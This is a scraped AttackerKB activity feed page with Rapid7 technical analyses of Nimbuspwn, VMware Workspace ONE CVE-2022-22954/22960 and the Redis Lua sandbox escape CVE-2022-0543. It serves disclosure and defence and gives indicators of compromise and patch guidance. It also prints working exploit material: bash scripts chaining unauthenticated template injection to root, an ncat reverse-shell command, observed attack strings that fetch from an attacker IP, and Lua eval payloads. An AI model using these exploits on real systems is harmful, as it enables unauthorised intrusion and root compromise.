"I love Activity Feed | AttackerKB"

2022-05-08 08:41:43

A Rapid7 Project Activity Feed Topics About Leaderboard Log In Activity Feed 1 carlosevieira assessed CVE-2022-1388 May 05, 2022 8:36pm UTC (2 days ago) Ratings Attacker Value Very High Exploitability Low UnauthenticatedVulnerable in default configurationDifficult to weaponize Would you also like to delete your Exploited in the Wild Report? Delete Assessment Only Delete Assessment and Exploited in the Wild Report See More See Less 2 rbowes-r7 assessed CVE-2022-29799 May 04, 2022 10:42pm UTC (3 days ago)•Edited 2 days ago Ratings Attacker Value Very Low Exploitability Very Low Gives privileged accessDifficult to weaponizeVulnerable in uncommon configuration Technical Analysis Super underwhelming, IMO – requires a confluence of bad configuration. Microsoft’s claims that they see vulnerable configurations in the wild are dubious – it takes some effort to make yourself vulnerable (I just used sudo to run as the networkd user, but that’s cheating). Definitely not a name-worthy vulnerability! Would you also like to delete your Exploited in the Wild Report? Delete Assessment Only Delete Assessment and Exploited in the Wild Report See More See Less Rapid7 created an analysis for CVE-2022-29799 May 04, 2022 10:37pm UTC (3 days ago)• Last updated May 05, 2022 9:04pm UTC (2 days ago) Technical Analysis DescriptionCVE-2022-29799 and CVE-2022-29800 – collectively referred to as Nimbuspwn – are a pair of vulnerabilities in networkd-dispatcher that Microsoft researchers discovered and reported. Under the right circumstances, these issues can be exploited together to escalate a user to root privileges on an affected Linux machine. We confirmed this attack on a default installation of Ubuntu 22.04 Desktop with no patches, but it did require special configuration that we discuss below.Note: Due to the circumstances required for this to be exploitable, we believe this to be low-risk and unlikely to see widespread exploitation.Technical analysisBefore talking about the specifics of the vulnerability, let’s take a quick look at D-Bus. We’ll use ruby-dbus for examples.D-Bus – or Desktop Bus – is an inter-process communication mechanism that’s used by most modern Linux distributions. It permits a variety of processes to communicate with each other over a shared medium, either directly (1:1) or via broadcast (1:n). D-Bus clients can accept method calls and generate signals for other D-Bus clients. Signals are where the Nimbuspwn vulnerability arises.When a client connects to a D-Bus bus, it is assigned a unique, numeric name such as :1.146. For client applications, that’s generally sufficient – nothing else needs to find them so discoverability is not necessary. But when a client wants to provide a service, they typically register a well-known name so other clients can find them.By convention, Linux systems have two different buses: the system bus and session bus. The system bus runs system services, and is semi-privileged – while anybody can typically connect to any bus with a default name, they cannot register a special name without special permission. The session bus, on the other hand, runs in the context of a single user’s session, and, unlike the system bus, any client can register a name (provided it’s not already in use). This is all configured system-wide by /usr/share/dbus-1/system.conf and /usr/share/dbus-1/session.conf (paths may vary):/usr/share/dbus-1 $ cat system.conf | grep own= /usr/share/dbus-1 $ cat session.conf | grep own= The following example shows how we’d register a name on the system bus (which fails) and the session bus (which succeeds). Due to the asynchronous nature of the library, we call .exists?() to actually make the connection happen:irb(main):001:0> require 'dbus'=> trueirb(main):002:0> # Try and use the system busirb(main):003:0> DBus.system_bus.request_service('my.test.service').exists?/var/lib/gems/3.0.0/gems/ruby-dbus-0.17.0/lib/dbus/bus.rb:416:in `block in request_service': Connection ":1.146" is not allowed to own the service "my.test.service" due to security policies in the configuration file; caused by 3 sender=org.freedesktop.DBus -> dest=:1.146 serial=3 reply_serial=3 path=; interface=; member= error_name=org.freedesktop.DBus.Error.AccessDenied (DBus::Error)irb(main):004:0> # Try and use the session busirb(main):005:0> DBus.session_bus.request_service('my.test.service').exists?=> trueAs you can see, we cannot easily create a named service on the system bus. Of course, when a service needs to register a well-known name on the system bus, they can be granted access utilizing a system configuration file. For example, Ubuntu 22.04 Desktop comes with a configuration file that permits the systemd-network user to register the name org.freedesktop.network1:/usr/share/dbus-1/system.d$ cat org.freedesktop.network1.conf[...] [...]With that configuration, the specific user (and only that user) can register the name on the system bus:$ sudo -u systemd-network irbirb(main):001:0> require 'dbus'=> trueirb(main):002:0> DBus.system_bus.request_service('org.freedesktop.network1').exists?=> trueOnce the client claims their name on the bus, we can stand signals to any processes listening on that bus for the given name. One such service is networkd-dispatcher:$ cat /usr/bin/networkd-dispatcher[...] def register(self, bus=None): """Register this dispatcher to handle events from the given bus""" print("REGISTERING") if bus is None: bus = dbus.SystemBus() bus.add_signal_receiver(self._receive_signal, bus_name='org.freedesktop.network1', signal_name='PropertiesChanged', path_keyword='path')[...]What that means is, if a client on the bus claims the name org.freedesktop.network1, it can then send a PropertiesChanged signal to all listeners that networkd-dispatcher wants to know about! And that’s where this vulnerability lies – the handler function in networkd-dispatcher is vulnerable to several issues, including path traversal and time-of-check-time-of-use issues. If exploited, the client running as org.freedesktop.network1 can execute an arbitrary script in the context of networkd-dispatcher – root.We tested a public proof of concept, and successfully gained root (provided we ran it as the systemd-network user):$ sudo -u systemd-network python3 /tmp/nimbuspwn.py[*] Attempt no. 1...[*] Attempt no. 2...[!] Root backdoor obtained! Executing...# whoamirootAnalysisThis vulnerability has several pre-requisites that, in our opinion, make it very unlikely to see widespread exploitation:The user must have permission to register org.freedesktop.network1 on the system busNothing else may already be registered as org.freedesktop.network1, since duplicate names are not allowed on a busIn their disclosure, Microsoft acknowledges this limitation and notes that there are possible situations where this can be overcome:In some environments, the systemd-networkd service that normally owns org.freedesktop.network1 does not start by default, which means it can be claimed (though permissions are still an issue)In some cases, the systemd-networkd user can run arbitrary code from world-writable locations – Microsoft attributes these to a customer misconfiguration, not a default settingJFrog published a tool that can detect misconfigurations such as this.In essence, a user would have to try hard to make a system exploitable.IoCThe public exploit creates and then removes a whole bunch of files in /tmp/nimbuspwn[random], such as:/tmp/nimbuspwn2761/wipefs/tmp/nimbuspwn2761/depmod/tmp/nimbuspwn2761/aptd/tmp/nimbuspwn2761/fsck.fat/tmp/nimbuspwn2761/blkid/tmp/nimbuspwn2761/iwconfig[...]The files are created then immediately removed whether or not the exploit succeeds. If the exploit does succeed, a set-uid copy of sh is created in /tmp:$ ls -alrt /tmp-rwsrwxrwx 1 root root 125688 May 4 13:45 shThe sh copy is not removed on exit.Note that none of these are required for exploitation, this only detects artifacts left by the public exploit.GuidanceRapid7 recommends that users update their networkd-dispatcher installations to the latest release provided by their operating systems. Alternatively, apply the author’s patch directly to /usr/bin/networkd-dispatcher.ReferencesMicrosoft disclosure: https://www.microsoft.com/security/blog/2022/04/26/microsoft-finds-new-elevation-of-privilege-linux-vulnerability-nimbuspwn/Public proof of concept: https://github.com/Immersive-Labs-Sec/nimbuspwnDetection tool: https://github.com/jfrog/nimbuspwn-toolsPatch: https://gitlab.com/craftyguy/networkd-dispatcher/–/commit/074ff68f08d64a963a13e3cfc4fb3e3fb9006dfeD-Bus overview: https://www.freedesktop.org/wiki/IntroductionToDBus/ See More gwillcox-r7 reported CVE-2014-0322 as Exploited in the Wild May 04, 2022 10:04pm UTC (3 days ago) Indicated source asGovernment or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) Would you like to delete this Exploited in the Wild Report? Yes, delete this report 1 Obligado1 assessed CVE-2022-22620 May 03, 2022 7:06am UTC (5 days ago) Ratings Attacker Value Very High Exploitability Medium Gives privileged accessVulnerable in default configuration Would you also like to delete your Exploited in the Wild Report? Delete Assessment Only Delete Assessment and Exploited in the Wild Report See More See Less rbowes-r7 reported CVE-2022-22954 as Exploited in the Wild May 02, 2022 10:32pm UTC (5 days ago)• Edited 1 day ago Indicated sources asVendor Advisory (https://www.vmware.com/security/advisories/VMSA-2022-0011.html)News Article or Blog (https://www.bleepingcomputer.com/news/security/hackers-exploit-critical-vmware-cve-2022-22954-bug-patch-now/)Personally observed in an environment Would you like to delete this Exploited in the Wild Report? Yes, delete this report 2 rbowes-r7 assessed CVE-2022-22954 May 02, 2022 10:32pm UTC (5 days ago)•Edited 1 day ago Ratings Attacker Value Very High Exploitability Very High Easy to weaponizeGives privileged accessUnauthenticatedVulnerable in default configuration Technical Analysis With publicly available information, this was super trivial to exploit! In the Rapid7 analysis, I chained it together with what I thought was CVE-2022-22960 (I’m not sure it was anymore) to go from unauthenticated HTTPS access to root very easily. Would you also like to delete your Exploited in the Wild Report? Delete Assessment Only Delete Assessment and Exploited in the Wild Report See More See Less Rapid7 created an analysis for CVE-2022-22954 May 02, 2022 10:13pm UTC (5 days ago)• Last updated May 06, 2022 2:36pm UTC (1 day ago) Technical Analysis DescriptionOn April 6, 2022, VMware published VMSA-2022-0011, which discloses multiple vulnerabilities discovered by Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute. The most critical of the CVEs published in VMSA-2022-0011 is CVE-2022-22954, which is a server-side template injection issue with a CVSSv3 base score of 9.8. The vulnerability allows an unauthenticated user with network access to the web interface to execute an arbitrary shell command as the VMware user.To further exacerbate this issue, VMware also disclosed a local privilege escalation issue, CVE-2022-22960, which permits the attacker to gain root after exploiting CVE-2022-22954.Products affected by CVE-2022-22954 include:VMware Workspace ONE Access (Access) 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1VMware Identity Manager (vIDM) 3.3.3 – 3.3.6Active ExploitationCVE-2022-22954 has been exploited in the wild according to multiple sources:VMware updated the advisory to indicate active exploitation on April 12, 2022Rapid7’s Project Heisenberg detected scanning/exploitation activity on April 13, 2022, and again on April 22, 2022Other Internet honeypots are seeing active exploitation attemptsCobalt Strike agents have been seen in the wildScanning/exploitation strings observed by Rapid7 include:/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget -U "Hello 1.0" -qO - http://106[.]246[.]224[.]219/one")}Looking at historical data, it appears that the IP addresses involved in ongoing Internet attacks targeting CVE-2022-22954 have also been behind other mass Internet scanning and exploit attempts, such as during Log4Shell. That may mean that they are part of a botnet or other organized threat group.Technical AnalysisCVE-2022-22954 is an unauthenticated server-side template injection issue. Exploit code is small enough to fit in a tweet, which security researcher wvu did on April 27! The following bash script is based on the public exploit:#!/bin/bashset -euo pipefaildie () { echo >&2 "$@" exit 1}[ "$#" -eq 2 ] || die "Usage: $0 "# Encode the CMD as Base64 to avoid spacesENCODED_CMD=$(echo "echo XYZ;$2;echo ZYX" | base64 -w0)# Build the argument string based on Will Vu's public PoCARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'# Get the curl responseOUT=$(curl -sk https://$1/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS")# Pull out the command resultecho $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'Using this script, we tested VMware Workspace ONE Access / Identity Manager v3.3.3.0 in our lab. The service runs as the horizon user:$ bash ./exploit.sh 10.0.0.126 "whoami"horizonTo assess the potential impact, we checked what types of access privileges the horizon user has. It turns out, horizon has access to a bunch of sudo commands:$ bash ./exploit.sh 10.0.0.126 "sudo -l"Matching Defaults entries for horizon on identity-manager-3-3: timestamp_timeout=0, passwd_tries=1 (root) NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, /usr/local/horizon/scripts/postgresService.sh, /usr/local/horizon/scripts/enableRSyslog.hzn, /usr/local/horizon/scripts/enableProxy.hzn, /usr/local/horizon/scripts/gatherLogs.hzn, /usr/local/horizon/scripts/gatherConfig.hzn, /usr/local/horizon/scripts/getProtectedLogFiles.hzn, /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn, /usr/local/horizon/update/update.hzn --version, /usr/local/horizon/scripts/updateiptables.hzn -portupdateonly, /usr/local/horizon/scripts/publishCaCert.hzn, /usr/local/horizon/scripts/ntpServer.hzn, /usr/local/horizon/scripts/exportTenant.sh, /usr/local/horizon/scripts/horizon-init.sh, /usr/local/horizon/scripts/importTenant.sh, /usr/local/horizon/scripts/tenantInHostTokenUtil.sh, /usr/local/horizon/scripts/tenantInPathTokenUtil.sh, /usr/local/horizon/scripts/updateLocalUserPassword.sh, /usr/local/horizon/scripts/secureUsers.hzn, /usr/local/horizon/scripts/exportCustomGroupUsers.sh, /usr/local/horizon/scripts/extractUserIdFromDatabase.sh, /usr/local/horizon/scripts/domainJoinCheck.hzn, /usr/local/horizon/scripts/domainJoin.hzn, /usr/local/horizon/scripts/domainJoinPreview.hzn, /usr/local/horizon/scripts/mountHelper.hzn, /opt/vmware/certproxy/bin/certproxyService.shWe checked the permissions of those scripts and, sure enough, several of them are writable, including:$ bash ./exploit.sh 10.0.0.126 "ls -l /opt/vmware/certproxy/bin/certproxyService.sh"-rwxr-x--- 1 horizon www 938 Nov 1 2020 /opt/vmware/certproxy/bin/certproxyService.shAlthough we found this by accident, we’re pretty sure that it maps to the local privilege escalation vulnerability that VMware lists as CVE-2022-22960 in their advisory (although the original author later indicated that it wasn’t exactly the same).To test this out, we overwrote one of the built-in scripts, then ran it with sudo:$ bash ./exploit.sh 10.0.0.126 "echo 'whoami' > /opt/vmware/certproxy/bin/certproxyService.sh"[...]$ bash ./exploit.sh 10.0.0.126 "sudo /opt/vmware/certproxy/bin/certproxyService.sh"rootIt works! So now we have unauthenticated root-level code execution. So of course, we made another script that combined both vulnerabilities into one simple package (it’s worth noting that this proof of concept overwrites a built-in script, so it probably breaks things. We would not recommend using this against random targets!):#!/bin/bashset -euo pipefaildie () { echo >&2 "$@" exit 1}# Make the user opt into destructiveness for the PoC[ "$#" -eq 3 ] || die "Usage: $0 iknowthisisdestructive "DESTRUCTION=$1HOST=$2CMD=$3if [ "$DESTRUCTION" != "iknowthisisdestructive" ]; then echo "You must opt into destructiveness!" echo die "Usage: $0 iknowthisisdestructive "fi# Encode a command to write to a target file# NOTE: This is destructive!ENCODED_CMD=$(echo "echo \"echo XYZ;$CMD;echo ZYX\" > /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0)# Build the argument string based on Will Vu's public PoCARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'# Do the initial curl, discarding the resultcurl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS">/dev/null# Set up the sudo commandENCODED_CMD=$(echo "sudo /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0)ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}'OUT=$(curl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS")# Pull out the command resultecho $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'The host uses tdnf as a package manager. The only version of Netcat available is the boring one – no -e support! So instead, we grabbed a static copy of ncat to upload and execute a reverse shell (periodic reminder to not use random binaries you find on GitHub outside of a lab):$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "curl https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > /tmp/ncat"[...]$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "chmod +x /tmp/ncat"[...]$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "/tmp/ncat -e /bin/bash 10.0.0.123 1234"And at this point, we have a root shell:$ nc -v -l -p 1234Ncat: Version 7.92 ( https://nmap.org/ncat )Ncat: Listening on :::1234Ncat: Listening on 0.0.0.0:1234Ncat: Connection from 10.0.0.126.Ncat: Connection from 10.0.0.126:6030. whoamirootIoCsThe logs on VMware Workspace ONE Access are stored in /opt/vmware/horizon/workspace/logs/greenbox_web.log. These contain all web requests, including the malicious requests that we send. We used Execute as a search keyword, and found that exploit attempts for CVE-2022-22954 stand out pretty clearly:grep 'Execute' /opt/vmware/horizon/workspace/logs/greenbox_web.log | tail -n22022-05-02 15:28:11,102 INFO (Thread-5) [com.vmware.endusercatalog.ui.web.interceptors.UiRequestInterceptor.preHandle] - Received request with URI /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D [...]2022-05-02 15:28:11,102 WARN (Thread-5) [com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver.resolveException] - RequestId dcb98442-12d9-4540-a510-65d033181fdf for request uri /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D returned in 0ms, it resulted with return code 400, mapped to error code auth.context.invalid and, error is: nullOther endpoints besides the one we tested are also vulnerable, so searching for the specific endpoint may miss exploit attempts.To perform the privilege escalation outlined in CVE-2022-22960, one of several scripts must be modified. Any of the following scripts can be changed then run with sudo:-rwxr-x--- 1 horizon www 57 May 2 15:44 /opt/vmware/certproxy/bin/certproxyService.sh-r-x------ 1 horizon www 889 Nov 1 2020 /usr/local/horizon/scripts/exportCustomGroupUsers.sh-r-x------ 1 horizon www 1331 Nov 1 2020 /usr/local/horizon/scripts/extractUserIdFromDatabase.shYou can see certproxService.sh has been recently modified, since it is the one I chose to use as a demonstration.ReferencesCanonical: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22954Vendor advisory: https://www.vmware.com/security/advisories/VMSA-2022-0011.htmlResearcher advisory: https://srcincite.io/advisories/src-2022-0005/FAQ: https://core.vmware.com/vmsa-2022-0011-questions-answers-faqRapid7 blog: https://www.rapid7.com/blog/post/2022/04/29/widespread-exploitation-of-vmware-workspace-one-access-cve-2022-22954/Initial PoC: https://github.com/DrorDvash/CVE-2022-22954_VMware_PoCAnother PoC: https://github.com/sherlocksecurity/VMware-CVE-2022-22954wvu exploit: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433msf module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb See More Rapid7 created an analysis for CVE-2022-0543 April 27, 2022 8:59pm UTC (1 week ago) Technical Analysis On February 18, 2022, Ubuntu and Debian released security advisories for CVE-2022-0543. The vulnerability is the result of an oversight in the operating systems’ Redis package, and not actually a fault in Redis itself. Insufficient sanitization of the Lua environment used by Redis resulted in remote attackers being able to execute arbitrary Lua and escape the Redis sandbox. The vulnerability was assigned a critical CVSSv3 score of 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).On March 8, a public proof of concept was published by Reginaldo Silva, who is also credited with finding the vulnerability. Juniper Threat Labs followed up with a report of exploitation in the wild on March 24, and a Metasploit module was published on April 26. Given availability of both private and public weaponized exploits, attackers will continue to opportunistically exploit this vulnerability as long as there are internet facing targets to exploit.Targets?Initially, this vulnerability sounded like an edge case that wouldn’t affect many hosts. It only affected distros using Ubuntu or Debian Redis packages and requires the user to configure Redis in a non-default and known “dangerous” state; something that Redis does a commendable job of warning the user against. The user then needs to expose the poor configuration to the internet. For this to be widely exploited, and therefore a priority from a research perspective, a good number of people would need to take these steps to render themselves exposed and exploitable. We assumed exploitable internet-facing targets would be few.However, reports of exploitation in the wild did catch our attention, and got us thinking,“Given the requirements for exploitation, are there really enough vulnerable targets for attackers to pursue this?” This is actually a very important question. Like most in the infosec world, we have to prioritize incoming threats and we only have so much bandwidth to expend. We didn’t prioritize this vulnerability initially, so it’s fun to run through the exercise of determining if we were right or wrong (Spolier: We ended up wroting a Metasploit module and this AKB entry):On April 27, 2022, we found that there are approximately 33,000 internet-facing Redis servers that allow unauthenticated access.Of course, CVE-2022-0543 also affects hosts that require authentication, but we’re going to focus on the unauthenticated case.Now that we have a baseline of unauthenticated internet-facing Redis, the question is, “How many are actually vulnerable to CVE-2022-0543?” Apparently, it’s “wrong” and “illegal” to exploit targets in the wild to satisfy curiosity so we relied on the output Shodan acquired. Shodan appears to issue the INFO command after connecting to a Redis server. This command returns a lot of useful information, like os, redis_version, build_id, etc.We sorted the 33,000 hosts Shodan identified by the “OS” field to see if we could weed out some obviously unaffected targets. Here is the top ten list:CountOS String8055os:Linux 4.14.109-99.92.amzn2.x86_64 x86_641293os:Linux 3.10.0-1160.11.1.el7.x86_64 x86_641158os:Linux 3.10.0-1160.45.1.el7.x86_64 x86_64992os:Linux 3.10.0-1127.19.1.el7.x86_64 x86_64859os:Windows419os:Linux 5.4.0-107-generic x86_64380os:Linux 3.10.0-957.el7.x86_64 x86_64366os:Linux 4.18.0-305.3.1.el8.x86_64 x86_64359os:Linux 3.10.0-1160.49.1.el7.x86_64 x86_64349os:Linux 5.4.0-77-generic x86_64Only two rows in the list above could potentially be Ubuntu, Debian, or derivatives. amzn2 (Amazon Linux 2) and el7 (CentOS) use yum-based systems and therefore aren’t affected. Windows isn’t affected. Only OS with the generic string look like our test targets. Our test targets have OS strings like the following:OSStringExploitableUbuntu 20.04os:Linux 5.13.0-40-generic x86_64YesUbuntu 18.04os:Linux 5.4.0-42-generic i686NoDebian 11os:Linux 5.10.0-13-amd64 x86_64NoUbuntu Dockeros:Linux 5.13.0-40-generic x86_64YesIf we filter the original 33,000 Redis hosts to only include the “-generic” or “-amd64” OS strings then we quickly narrow the search down to ~8100 hosts. The top 10 now looks like this:CountOS String419os:Linux 5.4.0-107-generic x86_64349os:Linux 5.4.0-77-generic x86_64319os:Linux 5.4.0-100-generic x86_64256os:Linux 5.4.0-96-generic x86_64250os:Linux 5.4.0-97-generic x86_64224os:Linux 5.4.0-104-generic x86_64221os:Linux 5.4.0-105-generic x86_64213os:Linux 5.4.0-90-generic x86_64187os:Linux 5.4.0-88-generic x86_64181os:Linux 4.15.0-142-generic x86_64—-—————-Now that we’ve narrowed our list to systems that are potentially Ubuntu, Debian, or variants, we can start looking a little closer at the redis_version field. We know that the affected Debian packages installed Redis versions that very loosely fell between versions 5.0 and 6.1. Of the 8100 hosts we’ve narrowed our search down to, those versions are not highly represented in the data. Again a top 10 list:CountRedis Version3664redis_version:6.2.6581redis_version:6.2.5529redis_version:5.0.7378redis_version:4.0.9282redis_version:6.2.4247redis_version:3.0.6238redis_version:3.2.12235redis_version:6.2.1226redis_version:6.0.9211redis_version:5.0.14The Ubuntu and Debian advisories don’t list all of the affected packages, they just state the fixed version. Based on past experience, the patched package doesn’t update the “redis_version” so when Ubuntu says a fix was introduced in “5.0.7-2ubuntu0.1”, then we know redis_version 5.0.7 was an affected version. In the list above, 529 hosts advertise redis_version 5.0.7. Those hosts may or may not be Ubuntu/Debian variants and, if they are, the Redis package may or may not have been patched. But it does give some insight into the scope of affected targets.Taking things a little further, we also know that redis_versions not explicitly mentioned in the advisory were affected. For example, the official Ubuntu Redis docker image we tested our Metasploit module with used redis_version 6.0.11. Instead of tracking down all potential versions, if we just generically accept redis_version 5.0 and above may be affected, and redis_version before 6.1 may be affected then we narrow the original ~8100 down to ~2000. Here is that complete dataset:CountRedis Version529redis_version:5.0.7226redis_version:6.0.9211redis_version:5.0.14151redis_version:6.0.10134redis_version:6.0.6118redis_version:6.0.1699redis_version:6.0.890redis_version:6.0.570redis_version:5.0.355redis_version:5.0.450redis_version:5.0.538redis_version:6.0.1528redis_version:5.0.824redis_version:6.0.319redis_version:6.0.719redis_version:6.0.119redis_version:5.0.1218redis_version:6.0.418redis_version:5.0.918redis_version:5.0.1312redis_version:5.0.610redis_version:6.0.1210redis_version:5.0.29redis_version:6.0.119redis_version:5.0.108redis_version:6.0.148redis_version:5.0.15redis_version:6.0.25redis_version:6.0.134redis_version:5.9.1042redis_version:5.9.1032redis_version:5.9.1012redis_version:5.3.32redis_version:5.0.01redis_version:6.0.181redis_version:6.0.01redis_version:5.9.1022,000 hosts is the absolute ceiling of potentially vulnerable internet-facing Redis servers that can be exploited without authentication. We actually aren’t certain how many of these hosts installed Redis using an affected package or if they’ve been patched (we are looking at this approximately two months after initial disclosure). Heck, they could all be honeypots for all we know, but it’s a reasonable number to work with.Is 2,000 hosts enough to grab our attention? While it’s difficult to call that “widespread”, it appears hosts vulnerable to CVE-2022-0543 are probably more prevalent than we anticipated. Given an exploit has been thrown around in the wild, it’s probably reasonable to bump the priority of fixing this vulnerability within your own organization.Root CauseThe root cause is a simple oversight. Normally, Redis statically links Lua. The Ubuntu and Debian package dynamically links Lua. The vulnerable package disabled the use of the Lua require and module interfaces to prevent sandbox escapes, but failed to disable the Lua package interface. To fix this, Ubuntu and Debian simply set package to nil just like require and module. Here is the relevant line in Ubuntu’s rules file:echo 'luaL_dostring(lua, "module = nil; require = nil; package = nil");' >>$@Proof of ConceptThe Lua package interface can be used to load arbitrary Lua shared libraries. For example, the original proof of concept by Reginaldo Silva loads “liblua” in order to execute the shell command touch /tmp/redis_poc via os.execute:eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_poc"); return 0' An unattributed proof of concept, possibly developed by phithon appeared on vulhub, and used io.popen so that the server’s response would be written back to the attacker. Below the attacker executes the command id.eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0If you are reading the write-ups associated with these proof of concepts, and testing them yourself then you may find them a little misleading. The first point of confusion, for us, involved the touch /tmp/redis_poc in the original proof of concept. A reasonable person is going to look for the created file in /tmp/. However, the vulnerable packages install Redis under systemd with PrivateTmp=yes. Meaning, the file won’t be written to /tmp/. It will actually be written in some systemd-private subdirectory within /tmp. This could cause someone to think they aren’t vulnerable when, in fact, they are:albinolobster@ubuntu:~/$ ls -l /tmp/redis_pocls: cannot access '/tmp/redis_poc': No such file or directoryalbinolobster@ubuntu:~/$ sudo ls -l /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_poc-rw-rw---- 1 redis redis 0 Apr 27 10:19 /tmp/systemd-private-214bed33ff5542c5bb9c754ce7984d61-redis-server.service-xOUzAh/tmp/redis_pocAdditionally, the vulhub repository shows the output of the id command displaying execution as root. The Ubuntu and Debian packages install Redis to run using the redis user. It’s true the official Ubuntu Redis Docker image runs Redis as root but it also requires authentication. Execution as root is a pretty contrived example that is unlikely to exist in the wild. It also overstates the severity of an already bad vulnerability.While both the original PoC and the vulhub repository are incredibly helpful, at face value, they are a little misleading and could lead to confusion around this vulnerability.Lessons Learned from the Metasploit ModuleAs mentioned, Redis is run under systemd when installed by the vulnerable packages. This actually ended up having a significant impact on the development of the Metasploit module. There were initially crashes using both the meterpreter stager and the gjs binary. For example, I was running a payload like this:eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); local f = os.execute("gjs -v"); ' 0And gjs was crashing.[ 1400.928540] traps: gjs[13581] trap int3 ip:7f07ff71f295 sp:7ffd10d679b0 error:0 in libglib-2.0.so.0.6400.6[7f07ff6e3000+84000]Running strace on gjs -v yielded the following failure.Note the failed mprotect call. This turns out to be a direct result of how the redis.service is configured. Amongst a few of the protections it enables, you can find MemoryDenyWriteExecute=true. MemoryDenyWriteExecute “rejects … mprotect(2) or pkey_mprotect(2) system calls with PROT_EXEC set.” This feature essentially prevents usage of JIT execution engines or software like the Meterpreter stages that load programs into memory and execute them. This is probably a well-known feature to some, but the first time I came across it while writing an exploit.Indicators of CompromiseUnfortunately, there is no Redis specific IOC. By default, Redis logs to /var/log/redis/redis-server.log but no information regarding the attack appears there. At higher verbosity, the log will include IP addresses but if your Redis is internet-facing that’s already going to be quite a large number of addresses.Perhaps the best indicator is observing sketchy programs running under the redis user. Here is an example of Meterpreter running as redis:albinolobster@ubuntu:~$ ps faux | grep redisalbinol+ 14150 0.0 0.0 9040 720 pts/0 S+ 12:26 0:00 \_ grep --color=auto redisredis 13229 0.1 0.1 52796 5292 ? Ssl 10:17 0:14 /usr/bin/redis-server *:6379redis 14147 0.0 0.0 1176 56 ? Sl 12:26 0:00 /tmp/UtCkXuygOther than that, defenders will need to rely on catching typical malicious post-exploitation behavior.For a PCAP demonstrating this attack please see the Metasploit pull request.GuidanceWe highly encourage users to patch this vulnerability. If your Redis server is exposed to the internet, we also encourage you to consider if that’s strictly necessary. If it is necessary, please consider enabling some type of authentication as, at minimum, that will prevent people from the internet issuing arbitrary Redis commands on your server. See More gwillcox-r7 reported CVE-2019-1003029 as Exploited in the Wild April 27, 2022 8:15pm UTC (1 week ago) Indicated source asGovernment or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog) Would you like to delete this Exploited in the Wild Report? Yes, delete this report View More Activity Next > Quick Cookie Notification This site uses cookies for anonymized analytics to improve the site. Rapid7 will never sell the data collected on this site. I AGREE, LET’S GO! View our Cookie Policy for full details This site uses cookies for anonymized analytics. For more information or to change your cookie settings, view our Cookie Policy. Terms of Use Code of Conduct FAQ Changelog Privacy Policy Contact API A Rapid7 Project